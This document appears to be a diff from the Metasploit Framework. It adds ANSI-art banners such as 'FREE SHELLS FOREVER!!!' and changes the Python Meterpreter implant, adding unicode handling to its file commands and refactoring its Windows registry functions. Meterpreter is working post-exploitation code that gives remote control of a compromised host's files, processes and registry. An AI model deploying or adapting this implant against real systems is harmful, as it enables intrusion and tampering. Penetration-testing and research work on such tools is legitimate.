[38;5;54m▀[48;5;97m▄▄[49m▀[48;5;54m█[48;5;97;38;5;97m█[48;5;54m▄[48;5;97;38;5;54m▄[49m▀▀▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m█[48;5;254;38;5;254m█[38;5;251m▄[49m▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m██[49;39m [00m
|
||||
[38;5;54m▀▀▀[39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m█[48;5;254;38;5;254m██[48;5;251;38;5;251m█[49;39m [48;5;251;38;5;251m█[48;5;255;38;5;255m████[48;5;251;38;5;251m██[49;39m [00m
|
||||
[38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[38;5;251m▄[48;5;251;38;5;254m▄[48;5;254m█[48;5;251;38;5;251m█[49;39m [38;5;251m▄[48;5;251;38;5;255m▄[48;5;255m███[48;5;251;38;5;251m█[48;5;254;38;5;254m██[48;5;251;38;5;251m█[49;39m [00m
|
||||
[48;5;251;38;5;251m█[48;5;255;38;5;255m████[48;5;251;38;5;251m█[49m▀▀▀[39m [38;5;251m▀[48;5;255m▄[38;5;255m███[48;5;251;38;5;251m█[49m▀▀▀[39m [00m
|
||||
[38;5;251m▀▀▀▀▀▀[39m [38;5;251m▀▀▀[39m [00m
|
|
@ -0,0 +1,29 @@
|
|||
[0m[0m ____________________________________ [0m
|
||||
[0m< My Little Pwny: Exploits are Magic[0m >[0m
|
||||
[0m ------------------------------------ [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [00m
|
||||
[38;5;238m▄▄[48;5;238;38;5;60m▄▄▄▄▄▄[49;38;5;238m▄▄[39m [00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄[48;5;60m█████████[38;5;238m▄[48;5;238;38;5;60m▄▄▄▄[49;38;5;238m▄▄[39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;96m▄[48;5;96;38;5;139m▄▄[38;5;96m█[48;5;60;38;5;60m██████[48;5;238;38;5;238m█[48;5;60m▄[48;5;238;38;5;60m▄▄[48;5;60;38;5;238m▄[38;5;60m███[48;5;238;38;5;238m█[49;39m[00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;96m▄[48;5;96;38;5;139m▄[48;5;139;38;5;96m▄[38;5;139m█[48;5;96;38;5;96m█[48;5;60;38;5;238m▄[38;5;60m█████[48;5;238m▄[48;5;60m███[48;5;238;38;5;238m█[48;5;60;38;5;60m███[48;5;238;38;5;238m█[49;39m[00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄▄[48;5;96;38;5;96m█[48;5;139;38;5;139m█[48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;238m▄▄[48;5;60;38;5;238m▄▄▄▄▄[48;5;238;38;5;96m▄[38;5;60m▄[48;5;60m██[38;5;238m▄[49m▀[39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m███[48;5;96m▄[48;5;139;38;5;139m████[48;5;16m▄[48;5;139;38;5;16m▄[48;5;16;38;5;231m▄▄[48;5;96;38;5;16m▄[48;5;139m▄[38;5;139m██[48;5;96m▄[48;5;60;38;5;96m▄[38;5;60m█[48;5;238m▄[49;38;5;238m▄[39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m████[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;16;38;5;16m██[48;5;231;38;5;231m██[48;5;96;38;5;96m█[48;5;16;38;5;16m█[48;5;231;38;5;231m█[48;5;16;38;5;16m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[48;5;60;38;5;60m██[48;5;238;38;5;238m█[49;39m [00m
|
||||
[38;5;238m▀[48;5;60m▄[38;5;60m███[48;5;96;38;5;238m▄[48;5;139;38;5;139m███[38;5;16m▄[48;5;231;38;5;231m██[48;5;96;38;5;139m▄[48;5;231;38;5;16m▄▄[48;5;16m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;38;5;238m▀▀[39m [00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄▄▄▄▄▄[49;38;5;238m▄▄[39m [38;5;238m▀[48;5;60m▄[38;5;60m██[48;5;238m▄[48;5;139;38;5;238m▄[38;5;139m██[38;5;96m▄[48;5;231;38;5;139m▄[38;5;231m█[48;5;182m▄[48;5;16;38;5;139m▄[48;5;231;38;5;96m▄[48;5;16;38;5;139m▄[48;5;139m██[48;5;96;38;5;96m█[49m▄[39m [00m
|
||||
[38;5;238m▄[48;5;238;38;5;60m▄[48;5;60m█████████[48;5;238m▄[49;38;5;238m▄[39m [38;5;238m▀[48;5;60;38;5;60m█[38;5;238m▄[38;5;60m██[48;5;238;38;5;238m█[48;5;139;38;5;139m██[48;5;96m▄[48;5;139m█[48;5;231m▄▄▄[48;5;139m█[38;5;96m▄[38;5;139m██[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m██████[38;5;238m▄[49m▀▀▀[48;5;60m▄[38;5;60m█[48;5;238m▄[49;38;5;238m▄[39m [38;5;238m▄[48;5;60m▄[38;5;60m█[48;5;238m▄▄[48;5;60m█[48;5;238m▄[48;5;139;38;5;238m▄[38;5;139m█[38;5;96m▄▄▄▄▄▄[49m▀▀[39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m██████[48;5;238;38;5;238m█[49;39m [38;5;238m▀[48;5;60;38;5;96m▄[48;5;238;38;5;139m▄[48;5;96m▄▄▄[48;5;238;38;5;238m█[48;5;60;38;5;60m██[48;5;238m▄[48;5;60m█[48;5;238;38;5;238m█[48;5;60m▄▄[48;5;238;38;5;139m▄[48;5;139m█[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m██████[48;5;238;38;5;238m█[49;39m [38;5;238m▄▄[39m [38;5;96m▄[48;5;96;38;5;139m▄[48;5;139m█████[48;5;238m▄[48;5;60;38;5;238m▄▄[48;5;238;38;5;139m▄[48;5;139m█████[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m███████[48;5;238m▄[48;5;60;38;5;238m▄[38;5;60m█[48;5;238;38;5;238m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██████████████[38;5;96m▄[49m▀[39m [00m
|
||||
[38;5;238m▀[48;5;60m▄[38;5;60m██████[38;5;238m▄▄▄[49m▀[39m [38;5;96m▀[48;5;139m▄[38;5;139m████[48;5;96;38;5;96m█[48;5;139;38;5;139m███████[38;5;96m▄[49m▀[39m [00m
|
||||
[38;5;238m▄▄[48;5;238m█[48;5;60;38;5;60m███[38;5;238m▄▄[38;5;60m█[48;5;238;38;5;238m█[49;39m [38;5;96m▄[48;5;96m█[48;5;139;38;5;139m██[38;5;96m▄[48;5;96m█[48;5;139m▄▄▄▄[38;5;139m██[38;5;96m▄[48;5;96m██[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m███[48;5;238;38;5;238m█[48;5;60;38;5;60m█[48;5;238;38;5;238m█[48;5;60;38;5;60m██[38;5;238m▄[49m▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[38;5;139m▄[48;5;139;38;5;96m▄[49m▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[48;5;139;38;5;139m█[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;238;38;5;238m█[48;5;60;38;5;60m██[48;5;238m▄[48;5;60m██[48;5;238;38;5;238m█[49m▀▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96m▄[48;5;139;38;5;96m▄[48;5;96;38;5;139m▄[49;38;5;96m▄[39m [00m
|
||||
[38;5;238m▀[48;5;60m▄▄▄[49m▀[39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[48;5;139;38;5;139m█[48;5;96;38;5;96m█[49;39m [00m
|
||||
[48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96;38;5;96m█[48;5;139;38;5;139m██[48;5;96;38;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m███[48;5;96m▄[48;5;139;38;5;96m▄[38;5;139m█[48;5;96;38;5;96m█[49m▄[39m [00m
|
||||
[48;5;96;38;5;96m█[48;5;139;38;5;139m████[48;5;96;38;5;96m█[48;5;139m▄▄[48;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139;38;5;139m████[48;5;96;38;5;96m█[48;5;139m▄▄[48;5;96m█[49;39m [00m
|
||||
[48;5;96;38;5;96m█[48;5;139m▄▄▄▄[48;5;96m█[49;39m [48;5;96;38;5;96m█[48;5;139m▄▄▄▄[48;5;96m█[49;39m [00m
|
||||
[00m
|
|
@ -0,0 +1,24 @@
|
|||
[0m[0m ______________________ [0m
|
||||
[0m< FREE SHELLS FOREVER!!![0m >[0m
|
||||
[0m ---------------------- [0m[00m
|
||||
[0m\[0m [00m
|
||||
[0m\[0m [38;5;161m▄[48;5;161m██[38;5;204m▄▄[49;38;5;161m▄[39m [38;5;161m▄▄▄[39m [00m
|
||||
[0m\[0m [48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[48;5;204;38;5;161m▄[38;5;204m█[48;5;161m▄[49;38;5;161m▄[48;5;161;38;5;204m▄[48;5;204;38;5;175m▄▄▄[48;5;161;38;5;204m▄▄[49;38;5;161m▄[39m [00m
|
||||
[38;5;161m▄[48;5;161;38;5;204m▄▄[38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[48;5;204;38;5;161m▄[38;5;204m██[48;5;161m▄[48;5;204m█[48;5;175;38;5;175m█[48;5;218;38;5;218m██[48;5;175;38;5;175m█[48;5;204;38;5;204m█[48;5;161m▄[49;38;5;161m▄[39m [00m
|
||||
[38;5;161m▄[48;5;161;38;5;204m▄▄▄[38;5;161m█[38;5;204m▄[48;5;204;38;5;161m▄[38;5;204m██[38;5;161m▄▄[48;5;161;38;5;218m▄▄▄▄▄[48;5;175m▄[48;5;218m█[48;5;211;38;5;175m▄[48;5;218;38;5;218m█[48;5;175;38;5;175m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[48;5;161;38;5;161m█[48;5;204;38;5;204m███[38;5;161m▄▄[48;5;161m█[48;5;204;38;5;204m█[38;5;161m▄[48;5;161;38;5;218m▄[48;5;218m██[38;5;175m▄[38;5;16m▄▄[38;5;218m█[38;5;16m▄[38;5;218m██[48;5;175m▄[48;5;218m█[48;5;175;38;5;175m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [38;5;161m▄[48;5;161m█[38;5;204m▄▄▄[49;38;5;161m▄[39m [00m
|
||||
[48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161;38;5;161m█[49;39m [48;5;175;38;5;175m█[48;5;161;38;5;16m▄[48;5;218;38;5;218m██[38;5;16m▄[48;5;16;38;5;218m▄[48;5;218m███[48;5;16m▄[48;5;218;38;5;16m▄▄[38;5;218m█[38;5;175m▄[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[49;39m [38;5;161m▄[48;5;161;38;5;204m▄▄▄▄[49;38;5;161m▄[48;5;161m█[38;5;204m▄[48;5;204m█[38;5;161m▄▄▄[38;5;204m█[48;5;161m▄[49;38;5;161m▄[39m [00m
|
||||
[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [48;5;175;38;5;175m█[48;5;16;38;5;16m█[48;5;218;38;5;218m██[48;5;16;38;5;16m█[48;5;218;38;5;218m█████[48;5;175;38;5;16m▄[48;5;218;38;5;218m██[48;5;175;38;5;175m█[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [48;5;161;38;5;161m█[48;5;204;38;5;204m█[38;5;161m▄▄▄▄[38;5;204m█[48;5;161m▄[48;5;204;38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m███[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[38;5;161m▀[48;5;204m▄[38;5;204m█[48;5;161;38;5;161m█[49;39m [38;5;175m▄[48;5;175m█[48;5;16m▄[48;5;175;38;5;218m▄[48;5;218m█[48;5;175m▄[48;5;218m████[38;5;175m▄[48;5;175;38;5;218m▄[48;5;218m█[38;5;161m▄[48;5;161;38;5;204m▄▄[48;5;204m█[48;5;161m▄▄▄[49;38;5;161m▄[48;5;161m█[48;5;204m▄[48;5;161;38;5;204m▄[48;5;204m████[48;5;161;38;5;161m█[48;5;204m▄[48;5;161;38;5;204m▄[48;5;204m█████[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[38;5;161m▀[48;5;161m█[49;39m [48;5;175;38;5;175m█[48;5;218;38;5;218m██[48;5;211;38;5;175m▄[48;5;218;38;5;218m████████[48;5;161;38;5;161m█[48;5;204;38;5;204m█[38;5;161m▄▄[38;5;204m███[38;5;161m▄[48;5;161m██[38;5;204m▄[48;5;204;38;5;161m▄[48;5;161m█[48;5;204;38;5;204m█████[38;5;161m▄▄[38;5;204m████[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161;38;5;161m█[49;39m [00m
|
||||
[38;5;161m▄▀[39m [38;5;175m▀▀[48;5;175m█[48;5;218m▄▄▄▄▄[38;5;218m███[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204;38;5;161m▄▄[48;5;161;38;5;204m▄[48;5;204;38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[38;5;175m▄[48;5;204;38;5;204m█[48;5;161;38;5;161m██[48;5;204m▄[38;5;204m███[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161;38;5;161m█[48;5;204;38;5;204m█[38;5;161m▄[49m▀[39m [00m
|
||||
[38;5;204m▀[39m [48;5;175;38;5;175m█[48;5;218;38;5;218m█[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m██[38;5;161m▄▄[48;5;161m█[48;5;204m▄[48;5;161;38;5;218m▄▄[48;5;218;38;5;228m▄▄[48;5;175;38;5;218m▄[49;38;5;175m▄[39m [38;5;161m▀▀[48;5;204m▄▄[48;5;161m█[48;5;204m▄▄[48;5;161;38;5;204m▄[48;5;204m█[48;5;161;38;5;161m█[48;5;204;38;5;204m█[48;5;161m▄[49;38;5;161m▄[39m [00m
|
||||
[48;5;175;38;5;175m█[48;5;218;38;5;218m█[48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[48;5;204;38;5;161m▄[38;5;204m█[48;5;161m▄[48;5;218;38;5;161m▄[38;5;218m███[48;5;228m▄[48;5;218;38;5;81m▄[48;5;175m▄[38;5;175m█[49;39m [48;5;161;38;5;161m█[48;5;204;38;5;204m███[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m███[48;5;161m▄[49;38;5;161m▄[39m[00m
|
||||
[48;5;175;38;5;175m█[48;5;161;38;5;218m▄[48;5;204;38;5;161m▄[38;5;204m█[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204;38;5;161m▄▄[48;5;161;38;5;218m▄[48;5;218m█[38;5;175m▄[48;5;81;38;5;81m█[48;5;218;38;5;218m█[48;5;81;38;5;228m▄[38;5;218m▄[48;5;175;38;5;175m█[49;39m [48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[38;5;161m█[38;5;204m▄▄▄[38;5;161m█[48;5;204m▄[38;5;204m█[48;5;161;38;5;161m█[49;39m[00m
|
||||
[48;5;175;38;5;169m▄[48;5;218m▄[48;5;161;38;5;218m▄[38;5;161m█[38;5;204m▄[48;5;218;38;5;218m████[48;5;175;38;5;175m█[48;5;228;38;5;218m▄[48;5;218m███[48;5;175;38;5;175m█[49;39m [38;5;161m▀[48;5;204m▄[38;5;204m███[48;5;161;38;5;161m██[48;5;204m▄▄[48;5;161m██[49m▀[39m[00m
|
||||
[38;5;169m▄[48;5;169m█[38;5;175m▄[48;5;175;38;5;218m▄▄[48;5;161m▄[38;5;161m█[48;5;218;38;5;218m█[48;5;175;38;5;175m█[49m▀[48;5;175;38;5;169m▄[38;5;175m█[48;5;218m▄[38;5;218m███[48;5;175;38;5;175m█[38;5;218m▄[38;5;175m█[49;39m [38;5;161m▀[48;5;204m▄[48;5;161m█[48;5;204m▄▄[38;5;204m██[48;5;161;38;5;161m█[49;39m [38;5;161m▄[39m[00m
|
||||
[38;5;169m▄[48;5;169;38;5;211m▄[48;5;211m█[48;5;175;38;5;175m█[38;5;218m▄[48;5;218m██[38;5;175m▄▄[48;5;161m▄[49m▀[48;5;169;38;5;169m█[38;5;211m▄[48;5;211m██[48;5;175;38;5;175m█[38;5;218m▄[48;5;218m██[38;5;175m▄[49m▀[39m [38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[38;5;161m▄[48;5;161m█[49m▄▄[48;5;161m█[49;39m[00m
|
||||
[48;5;169;38;5;169m█[48;5;211m▄[48;5;175;38;5;175m█[48;5;218;38;5;218m████[48;5;175;38;5;175m█[49;39m [48;5;169;38;5;169m█[48;5;211;38;5;211m██[38;5;175m▄[48;5;175;38;5;218m▄[48;5;218m███[38;5;175m▄[49m▀[39m [38;5;161m▀[48;5;204m▄▄▄▄[49m▀▀[39m [00m
|
||||
[48;5;175;38;5;175m█[48;5;218;38;5;218m████[48;5;175;38;5;175m█[49;39m [38;5;169m▀▀[48;5;175;38;5;175m█[48;5;218;38;5;218m█████[48;5;175;38;5;175m█[49;39m [00m
|
||||
[38;5;175m▀▀▀▀▀▀[39m [38;5;175m▀▀▀▀▀▀[39m [00m
|
||||
[00m
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -59,6 +59,7 @@ if sys.version_info[0] < 3:
|
|||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
|
||||
else:
|
||||
if isinstance(__builtins__, dict):
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
|
@ -69,6 +70,7 @@ else:
|
|||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
long = int
|
||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
|
||||
|
||||
if has_ctypes:
|
||||
#
|
||||
|
@ -530,7 +532,7 @@ def get_stat_buffer(path):
|
|||
if hasattr(si, 'st_blocks'):
|
||||
blocks = si.st_blocks
|
||||
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
|
||||
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
|
||||
st_buf += struct.pack('<HHHI', si.st_uid & 0xffff, si.st_gid & 0xffff, 0, rdev)
|
||||
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
|
||||
st_buf += struct.pack('<II', blksize, blocks)
|
||||
return st_buf
|
||||
|
@ -630,7 +632,7 @@ def channel_open_stdapi_fs_file(request, response):
|
|||
fmode = fmode.replace('bb', 'b')
|
||||
else:
|
||||
fmode = 'rb'
|
||||
file_h = open(fpath, fmode)
|
||||
file_h = open(unicode(fpath), fmode)
|
||||
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
@ -923,18 +925,19 @@ def stdapi_sys_process_get_processes(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_chdir(request, response):
|
||||
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
os.chdir(wd)
|
||||
os.chdir(unicode(wd))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_delete(request, response):
|
||||
file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||
os.unlink(file_path)
|
||||
os.unlink(unicode(file_path))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_delete_dir(request, response):
|
||||
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
dir_path = unicode(dir_path)
|
||||
if os.path.islink(dir_path):
|
||||
del_func = os.unlink
|
||||
else:
|
||||
|
@ -945,7 +948,7 @@ def stdapi_fs_delete_dir(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_delete_file(request, response):
|
||||
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
os.unlink(file_path)
|
||||
os.unlink(unicode(file_path))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
@ -971,25 +974,29 @@ def stdapi_fs_file_expand_path(request, response):
|
|||
def stdapi_fs_file_move(request, response):
|
||||
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
os.rename(oldname, newname)
|
||||
os.rename(unicode(oldname), unicode(newname))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_getwd(request, response):
|
||||
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
||||
if hasattr(os, 'getcwdu'):
|
||||
wd = os.getcwdu()
|
||||
else:
|
||||
wd = os.getcwd()
|
||||
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_ls(request, response):
|
||||
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
path = os.path.abspath(path)
|
||||
contents = os.listdir(path)
|
||||
contents.sort()
|
||||
for x in contents:
|
||||
y = os.path.join(path, x)
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, x)
|
||||
response += tlv_pack(TLV_TYPE_FILE_PATH, y)
|
||||
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
|
||||
path = os.path.abspath(unicode(path))
|
||||
dir_contents = os.listdir(path)
|
||||
dir_contents.sort()
|
||||
for file_name in dir_contents:
|
||||
file_path = os.path.join(path, file_name)
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, file_name)
|
||||
response += tlv_pack(TLV_TYPE_FILE_PATH, file_path)
|
||||
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
@ -1008,6 +1015,7 @@ def stdapi_fs_md5(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_mkdir(request, response):
|
||||
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
dir_path = unicode(dir_path)
|
||||
if not os.path.isdir(dir_path):
|
||||
os.mkdir(dir_path)
|
||||
return ERROR_SUCCESS, response
|
||||
|
@ -1016,6 +1024,7 @@ def stdapi_fs_mkdir(request, response):
|
|||
def stdapi_fs_search(request, response):
|
||||
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
|
||||
search_root = ('' or '.') # sometimes it's an empty string
|
||||
search_root = unicode(search_root)
|
||||
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
|
||||
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
|
||||
if recurse:
|
||||
|
@ -1056,7 +1065,7 @@ def stdapi_fs_sha1(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_stat(request, response):
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
st_buf = get_stat_buffer(path)
|
||||
st_buf = get_stat_buffer(unicode(path))
|
||||
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
|
@ -1334,10 +1343,12 @@ def stdapi_net_socket_tcp_shutdown(request, response):
|
|||
channel.shutdown(how)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _wreg_close_key(hkey):
|
||||
ctypes.windll.advapi32.RegCloseKey(hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_close_key(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
result = ctypes.windll.advapi32.RegCloseKey(hkey)
|
||||
_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
@ -1372,11 +1383,9 @@ def stdapi_registry_delete_value(request, response):
|
|||
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_key(request, response):
|
||||
def _wreg_enum_key(request, response, hkey):
|
||||
ERROR_MORE_DATA = 0xea
|
||||
ERROR_NO_MORE_ITEMS = 0x0103
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
name = (ctypes.c_char * 4096)()
|
||||
index = 0
|
||||
tries = 0
|
||||
|
@ -1399,10 +1408,22 @@ def stdapi_registry_enum_key(request, response):
|
|||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value(request, response):
|
||||
def stdapi_registry_enum_key(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _wreg_enum_key(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_key_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _wreg_enum_key(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
def _wreg_enum_value(request, response, hkey):
|
||||
ERROR_MORE_DATA = 0xea
|
||||
ERROR_NO_MORE_ITEMS = 0x0103
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
name = (ctypes.c_char * 4096)()
|
||||
name_sz = ctypes.c_uint32()
|
||||
index = 0
|
||||
|
@ -1426,6 +1447,20 @@ def stdapi_registry_enum_value(request, response):
|
|||
index += 1
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _wreg_enum_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _wreg_enum_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_load_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
|
||||
|
@ -1434,16 +1469,22 @@ def stdapi_registry_load_key(request, response):
|
|||
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_open_key(request, response):
|
||||
def _wreg_open_key(request):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||
handle_id = ctypes.c_void_p()
|
||||
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
|
||||
return error_result_windows(), response
|
||||
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
|
||||
return error_result_windows(), 0
|
||||
return ERROR_SUCCESS, handle_id.value
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_open_key(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
response += tlv_pack(TLV_TYPE_HKEY, hkey)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
@ -1467,9 +1508,7 @@ def stdapi_registry_query_class(request, response):
|
|||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
